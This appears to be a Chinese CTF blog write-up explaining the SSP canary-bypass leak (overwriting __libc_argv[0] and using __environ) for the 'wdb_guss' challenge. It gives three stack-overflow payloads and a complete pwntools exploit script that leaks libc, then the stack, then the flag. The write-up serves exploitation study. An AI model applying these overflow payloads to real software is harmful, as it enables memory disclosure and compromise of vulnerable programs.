canary绕过--ssp任意地址泄露

原理:

当程序运行时检测到canary 被破坏,会执行__stack_chk_fail函数

并且打印

*** stack smashing detected ***:./pwn(程序名) terminated

可以看到 程序名存在__libc_argv[0],如果我们能够通过溢出覆盖掉__libc_argv[0]就可以实现任意地址泄露(高版本的libc取消了这个打印)

利用:

这个泄露一般一直泄露libc的地址,想要泄露栈的地址,就需要用到libc中的__environ()函数

__environ 函数

这个函数是存储栈上的环境变量的,也就是说他的指向是栈地址,如果我知道想要泄露的flag在栈上与这个函数的偏移,就可以通过这个函数泄露出flag

例题:wdb_guss

丢入ida 可以看到有三个循环以及gets存在栈溢出

除此之外没有其他的洞

存在canary,并且flag已经存在栈上,那么可以用ssp攻击打印出flag

gdb调试找出输入点和指向__libc_argv[0]的地址的指针

算出偏移

所以第一条payload 的构造为

payload=b'a'*0x128+p64(puts_got)

泄露出libc后就可以得到environ的地址,从而得到栈上的地址

所以第二个payload 的构造为

real=u64(io.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
print(hex(real))

base=real-libc.sym['puts']
environ=base+libc.sym['__environ']
print(hex(environ))
payload2=b'a'*0x128+p64(environ)
io.sendline(payload2)

最后gdb 调试出flag距离environ的偏移得到flag的地址

得到偏移为0x168

所以flag的地址为environ-0x168

所以第三条payload的构造为

io.recvuntil('stack smashing detected ***: ')
buf_addr = u64(io.recv(6).ljust(8,b'\x00')) - 0x168
payload3=b'a'*0x128+p64(buf_addr)
io.sendline(payload3)

运行打印出flag

最终exp

from pwn import*
io=process('./GUESS')
context.log_level='debug'
elf=ELF('./GUESS')
libc=ELF('./libc1.so.6')
puts_got=elf.got['puts']
puts_plt=elf.plt['puts']
io.recvuntil("Please type your guessing flag")
payload=b'a'*0x128+p64(puts_got)
io.sendline(payload)
real=u64(io.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
print(hex(real))

base=real-libc.sym['puts']
environ=base+libc.sym['__environ']
print(hex(environ))
payload2=b'a'*0x128+p64(environ)
io.sendline(payload2)
io.recvuntil('stack smashing detected ***: ')
buf_addr = u64(io.recv(6).ljust(8,b'\x00')) - 0x168
payload3=b'a'*0x128+p64(buf_addr)
io.sendline(payload3)
io.interactive()

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值